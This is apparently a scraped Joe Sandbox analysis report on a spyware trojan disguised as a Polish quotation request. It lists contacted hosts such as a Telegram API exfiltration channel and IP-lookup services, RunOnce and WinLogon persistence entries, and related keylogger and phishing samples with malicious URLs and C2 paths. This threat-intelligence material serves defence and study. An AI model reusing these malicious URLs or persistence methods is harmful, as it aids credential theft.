https://yoast.com/wordpress/plugins/seo/	explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325346008.0000000003B88000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false	URL Reputation: safe	unknown
https://zxq.net/what-happened-to-the-old-zxq-website/Z	explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://vccmd02.googlecode.com/files/cmsys.gifp	explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://reallyfreegeoip.org/xml/173.254.250.72$	RegSvcs.exe, 0000000A.00000002.4486046867.0000000002E0F000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4486046867.0000000002DCA000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4486046867.0000000002E35000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://zxq.net/wp-content/uploads/2024/10/DIY-Home-Repair-Projects-for-Busy-Singaporeans-450x253.pn	explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.000000000071E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
https://zxq.net/what-happened-to-the-old-zxq-website/U	explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192186591.0000000000729000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://zxq.net/wp-content/uploads/2024/10/Snoring-and-Sleep-Apnea-450x253.png	explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.000000000071E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192222397.0000000003B85000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
https://zxq.net/diy-home-repair-projects-for-busy-singaporeans/	cmsys.cmn.4.dr	false		unknown
http://vccmd02.googlecode.com/files/cmsys.gifg	explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
142.251.168.82	unknown	United States	15169	GOOGLEUS	false
188.114.97.3	unknown	European Union	13335	CLOUDFLARENETUS	false
108.177.15.82	unknown	United States	15169	GOOGLEUS	false
64.233.166.82	googlecode.l.googleusercontent.com	United States	15169	GOOGLEUS	false
188.114.96.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	true
212.44.112.138	mail.tlakovec.si	Slovenia	43128	DHH-ASSI	true
51.81.194.202	zxq.net	United States	16276	OVHFR	true
132.226.247.73	checkip.dyndns.com	United States	16989	UTMEMUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544451
Start date and time:	2024-10-29 13:07:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	69
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@398/19@47/10
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 52 Number of non-executed functions: 239
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 88.221.110.91, 192.229.221.95
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe

Simulations

Behavior and APIs

Time	Type	Description
08:07:56	API Interceptor	372x Sleep call for process: svchost.exe modified
08:07:56	API Interceptor	3977x Sleep call for process: explorer.exe modified
08:08:02	API Interceptor	8473608x Sleep call for process: RegSvcs.exe modified
13:08:00	Autostart	Run: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Explorer c:\windows\system\explorer.exe RO
13:08:08	Autostart	Run: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Svchost c:\windows\system\svchost.exe RO
13:08:26	Autostart	Run: WinLogon Shell C:\Windows\explorer.exe
13:08:34	Autostart	Run: WinLogon Shell c:\windows\system\explorer.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	rShippingDocuments240384.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	M2AB8BeHc4.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Proforma-Invoice#018879TT0100..doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	swift-copy31072024PDF.html	Get hash	malicious	HTMLPhisher	Browse
	Fedex.exe	Get hash	malicious	AgentTesla	Browse
	come.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	Fa24c148.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	AWB#21138700102.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	z45paymentadvice.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	rFa24c148.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
188.114.97.3	rPO_28102400.exe	Get hash	malicious	Lokibot	Browse	ghcopz.shop/ClarkB/PWS/fre.php
	PbfYaIvR5B.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	windowsxp.top/ExternaltoPhppollcpuupdateTrafficpublic.php
	SR3JZpolPo.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	xilloolli.com/api.php?status=1&wallets=0&av=1
	5Z1WFRMTOXRH6X21Z8NU8.exe	Get hash	malicious	Unknown	Browse	artvisions-autoinsider.com/8bkjdSdfjCe/index.php
	PO 4800040256.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/4hfb/
	QUOTATION_OCTQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/cDXpxO66/download
	Instruction_1928.pdf.lnk.download.lnk	Get hash	malicious	LummaC	Browse	tech-tribune.shop/pLQvfD4d5/index.php
	WBCDZ4Z3M2667YBDZ5K4.bin.exe	Get hash	malicious	Unknown	Browse	tech-tribune.shop/pLQvfD4d5/index.php
	yGktPvplJn.exe	Get hash	malicious	Pushdo	Browse	www.rs-ag.com/
	https://is.gd/6NgVrQ	Get hash	malicious	HTMLPhisher	Browse	aa.opencompanies.co.uk/vEXJm/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	rShippingDocuments240384.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	M2AB8BeHc4.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Bill Of Lading.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	Proforma-Invoice#018879TT0100..doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	dekont_001.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	z74fBF2ObiS1g87mbS.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	come.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.97.3
	INVOICE.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.97.3
	QUOTATION_OCTQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	z19UrgentOrder.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.97.3
zxq.net	ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Get hash	malicious	CryptOne, Snake Keylogger, VIP Keylogger	Browse	51.81.194.202
	1727684587d91a3fc4a77823bfb5c4c41b9d6c0bff84ae126bd19290c7e03bed994fdb4477364.dat-decoded.exe	Get hash	malicious	CryptOne, Snake Keylogger, VIP Keylogger	Browse	51.81.194.202
	7Y18r(169).exe	Get hash	malicious	CryptOne	Browse	51.81.194.202
	LisectAVT_2403002B_401.exe	Get hash	malicious	CryptOne	Browse	51.81.194.202
	LisectAVT_2403002B_437.exe	Get hash	malicious	CryptOne	Browse	51.81.194.202
	E6BA0CFA-EE50-4631-8FEC-4CD80E9E2189_06142024215103589.exe	Get hash	malicious	CryptOne	Browse	51.81.194.202
	1ptg18pvgv.exe	Get hash	malicious	CryptOne, Neshta	Browse	51.81.194.202
	2LfSD1iMxK.exe	Get hash	malicious	CryptOne	Browse	51.81.194.202
	EOCFTL.exe	Get hash	malicious	CryptOne	Browse	51.81.194.202
	wJ5fr6j24t.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse	185.196.8.22
api.telegram.org	rShippingDocuments240384.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	M2AB8BeHc4.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Proforma-Invoice#018879TT0100..doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	swift-copy31072024PDF.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	Fedex.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	come.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	Fa24c148.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	AWB#21138700102.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	z45paymentadvice.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	rFa24c148.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	rShippingDocuments240384.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	M2AB8BeHc4.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Proforma-Invoice#018879TT0100..doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	swift-copy31072024PDF.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	Fedex.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	come.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	Fa24c148.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	AWB#21138700102.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	z45paymentadvice.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	rFa24c148.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	Avis de virement.10.28.html	Get hash	malicious	Unknown	Browse	172.66.0.235
	https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/index.html#'+tFjvjBPh,document%5B'body'%5D%5B'appendChild'%5D(para);	Get hash	malicious	Unknown	Browse	104.17.25.14
	Jonathangodber October 2024.pdf	Get hash	malicious	Tycoon2FA	Browse	104.17.25.14
	https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/index.html#'+tFjvjBPh,document%5B'body'%5D%5B'appendChild'%5D(para)	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	#U2749VER_COMPROVATIVO#U2749_#U2467#U2467#U2462#U2462#U2467#U2461#U2464#U2463.hta	Get hash	malicious	Unknown	Browse	172.67.155.19
	#U2749VER CUENTA#U2749_#U2467#U2464#U2465#U2466#U2465#U2466#U2463#U2462.hta	Get hash	malicious	Unknown	Browse	172.67.195.227
	http://dcrealestateclasses.com/sirmy359ka/logfds65475mnvn/0Px7KgmP2ER6zsKKoRahD/ZGFuaWVscGxvdHRlbEBxdWFudGV4YS5jb20=	Get hash	malicious	Unknown	Browse	104.17.25.14
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	104.16.55.19
	https://docs.google.com/drawings/d/1OzqwiA1nI8GUoiKob_qJY5xL1HmGK6VrRXlYUDuD68w/preview?pli=1JXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrl	Get hash	malicious	Mamba2FA	Browse	104.17.24.14
CLOUDFLARENETUS	Avis de virement.10.28.html	Get hash	malicious	Unknown	Browse	172.66.0.235
	https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/index.html#'+tFjvjBPh,document%5B'body'%5D%5B'appendChild'%5D(para);	Get hash	malicious	Unknown	Browse	104.17.25.14
	Jonathangodber October 2024.pdf	Get hash	malicious	Tycoon2FA	Browse	104.17.25.14
	https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/index.html#'+tFjvjBPh,document%5B'body'%5D%5B'appendChild'%5D(para)	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	#U2749VER_COMPROVATIVO#U2749_#U2467#U2467#U2462#U2462#U2467#U2461#U2464#U2463.hta	Get hash	malicious	Unknown	Browse	172.67.155.19
	#U2749VER CUENTA#U2749_#U2467#U2464#U2465#U2466#U2465#U2466#U2463#U2462.hta	Get hash	malicious	Unknown	Browse	172.67.195.227
	http://dcrealestateclasses.com/sirmy359ka/logfds65475mnvn/0Px7KgmP2ER6zsKKoRahD/ZGFuaWVscGxvdHRlbEBxdWFudGV4YS5jb20=	Get hash	malicious	Unknown	Browse	104.17.25.14
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	104.16.55.19
	https://docs.google.com/drawings/d/1OzqwiA1nI8GUoiKob_qJY5xL1HmGK6VrRXlYUDuD68w/preview?pli=1JXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrl	Get hash	malicious	Mamba2FA	Browse	104.17.24.14
DHH-ASSI	SMBKT-20242005.exe	Get hash	malicious	AgentTesla	Browse	212.44.102.65
	a5hbkmGD7N.exe	Get hash	malicious	Pushdo	Browse	212.44.102.75
	G7DyaA9iz9.exe	Get hash	malicious	Pushdo	Browse	212.44.102.75
	x607DB0i08.exe	Get hash	malicious	Pushdo	Browse	212.44.102.75
	x7RlIzQDk1.exe	Get hash	malicious	Unknown	Browse	212.44.102.75
	EwK95WVtzI.exe	Get hash	malicious	Pushdo	Browse	212.44.102.75
	OWd39WUX3D.exe	Get hash	malicious	Pushdo	Browse	212.44.102.75
	demand_rpkb_060923.exe	Get hash	malicious	GuLoader	Browse	212.44.101.105
	CX17SY6xF6.exe	Get hash	malicious	Pushdo	Browse	212.44.102.57
	PIyT9A3jfC.exe	Get hash	malicious	Pushdo	Browse	212.44.102.57

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	Avis de virement.10.28.html	Get hash	malicious	Unknown	Browse	20.109.210.53 52.149.20.212 40.69.42.241 13.107.246.45
	https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/index.html#'+tFjvjBPh,document%5B'body'%5D%5B'appendChild'%5D(para);	Get hash	malicious	Unknown	Browse	20.109.210.53 52.149.20.212 40.69.42.241 13.107.246.45
	Jonathangodber October 2024.pdf	Get hash	malicious	Tycoon2FA	Browse	20.109.210.53 52.149.20.212 40.69.42.241 13.107.246.45
	https://abre.ai/lmHC	Get hash	malicious	Unknown	Browse	20.109.210.53 52.149.20.212 40.69.42.241 13.107.246.45
	https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/index.html#'+tFjvjBPh,document%5B'body'%5D%5B'appendChild'%5D(para)	Get hash	malicious	Unknown	Browse	20.109.210.53 52.149.20.212 40.69.42.241 13.107.246.45
	http://dcrealestateclasses.com/sirmy359ka/logfds65475mnvn/0Px7KgmP2ER6zsKKoRahD/ZGFuaWVscGxvdHRlbEBxdWFudGV4YS5jb20=	Get hash	malicious	Unknown	Browse	20.109.210.53 52.149.20.212 40.69.42.241 13.107.246.45
	https://docs.google.com/drawings/d/1OzqwiA1nI8GUoiKob_qJY5xL1HmGK6VrRXlYUDuD68w/preview?pli=1JXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrl	Get hash	malicious	Mamba2FA	Browse	20.109.210.53 52.149.20.212 40.69.42.241 13.107.246.45
	October 25, 2024_SAL_RefIyNURVhUTlVNUkFORE9NMTAjIw==.html	Get hash	malicious	Unknown	Browse	20.109.210.53 52.149.20.212 40.69.42.241 13.107.246.45
	https://www.google.mx/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=sf_rand_string_mixed(5)FgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%E2%80%8Biw.%C2%ADgc%C2%ADrvn%C2%ADm0.%C2%ADza%C2%AD.c%E2%80%8Bo%C2%ADm%2Ffylee%2Fimages%2Fsf_rand_string_mixed(24)/toto@dgtresor.gouv.fr	Get hash	malicious	Unknown	Browse	20.109.210.53 52.149.20.212 40.69.42.241 13.107.246.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.109.210.53 52.149.20.212 40.69.42.241 13.107.246.45
54328bd36c14bd82ddaa0c04b25ed9ad	https://docs.google.com/drawings/d/1OzqwiA1nI8GUoiKob_qJY5xL1HmGK6VrRXlYUDuD68w/preview?pli=1JXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrl	Get hash	malicious	Mamba2FA	Browse	188.114.96.3
	rShippingDocuments240384.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	M2AB8BeHc4.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Bill Of Lading.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	dekont_001.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	https://docs.google.com/drawings/d/1O7L6jnunpKYYRy1ZXX5DN4ENeZ4pxxWF8BG0mcDdFi0/preview?pli=1ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVenbNRU0UorX7OKjJa9aCYWGEkzuOVKWWWAgOafkEScU8ZjRsxVe	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	z74fBF2ObiS1g87mbS.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	https://docs.google.com/drawings/d/1JRNFh_1Cbzym_iLfw5aw8-eo7G0EKRf1L0-MpuWvb2k/preview?pli=1MiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRs